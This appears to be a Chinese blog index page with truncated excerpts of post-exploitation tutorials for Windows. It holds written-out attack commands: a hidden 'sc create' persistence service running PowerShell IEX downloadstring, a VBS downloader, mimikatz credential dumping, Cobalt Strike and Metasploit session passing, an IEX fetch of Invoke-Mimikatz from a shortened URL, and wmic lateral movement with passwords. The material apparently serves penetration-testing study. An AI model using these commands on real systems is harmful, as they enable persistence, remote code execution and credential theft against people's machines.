mirror97black的博客

收集本机ip信息ipconfig /all查看进程，注意杀软tasklist /v查看安装软件的版本（两种方式）wmic product > version.txt利用wmic命令，可以将结果输出到文本中powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,...

前提：拿到cobalt strike的session设置开机自启动服务使用sc命令创建服务sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.1...

cobalt strikecobalt strike是一个后渗透工具，和msf有很多相似的地方，也可以看做是一个远控工具。前期准备获取一个cobalt strike的会话。可以利用cs本身的payload，或者是通过别的shell反弹到cs。域内收集信息通过一些cmd命令，可以收集到域内的信息 在cs的会话中，执行命令 查看有多少域和工作组shell net...

vbs下载通过写一个vbs脚本来下载文件 在windows机器中，命令行执行以下各条命令echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbsecho Set Shell = CreateObject("Wscript.Shell") >>zl.vbsecho Post.Open "GET","htt...

mimikatz使用时需要高权限，至少是administrator权限 mimikatz抓取密码的命令需要system权限，可以先进行提权privilege::debug //提升权限（从administrator提升到system）抓取hashsekurlsa::logonpasswords //获取当前在线用户的明文密码（需要高权限运行）lsadump::lsa ...

前提：拿到msf的session会话 方法1：在cmd中执行cobalt strike的scripted web delivery命令，比如powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.10.20:80/a'))"方法2：通过msf的expl...

通过powershell 运行mimikatzpowershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" 获取hash之后，解出明文密码 将目标机器共享盘映射到本地的h盘net use h: \\ip\c$ "密码"...

3389在windows-运行，输入mstsc，回车即可 需要对方开启3389端口，并且你有对方机器的用户名和密码wmic远程连接wmic /node:"192.168.2.23" /password:"abc123" /user:"administrator"如果能够远程连接成功，就可以执行一些wmic命令wmic /node:"192.168.2.23" /p...